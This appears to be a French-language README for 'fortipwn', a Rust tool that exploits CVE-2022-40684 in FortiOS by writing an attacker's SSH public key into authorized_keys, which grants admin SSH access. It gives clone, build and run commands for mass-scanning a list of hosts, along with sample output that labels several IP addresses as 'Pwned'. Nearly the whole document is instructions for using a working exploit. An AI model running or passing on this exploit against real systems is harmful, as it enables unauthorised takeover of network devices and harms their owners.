
Script d'énumération Forti CVE-2022-40684 écrit en Rust
Script d'énumération Forti CVE-2022-40684 écrit en Rust.
Téléverse une clé publique SSH dans authorized_keys, permettant à un attaquant de se connecter en SSH à un serveur exécutant FortiOS en tant qu'admin.
$ ./fortipwn <hosts.txt> <id_rsa.pub>
$ git clone https://github.com/Grapphy/fortipwn/
$ cd fortipwn
$ cargo build --release
$ cd target/release/
$ ./fortipwn <host.txt> <id_rsa.pub>
$ ./fortipwn examples_ip.txt id_rsa.pub
Checking for 150 hosts. You might log-in through ssh as admin@host on pwned hosts.
Pwned: 210.29.110.143
Pwned: 144.14.71.122
Pwned: 21.220.10.82
Pwned: 163.123.102.32
Pwned: 121.159.192.10
Pwned: 162.49.194.19
Pwned: 185.92.20.40
Pwned: 194.19.211.19
Finished scanning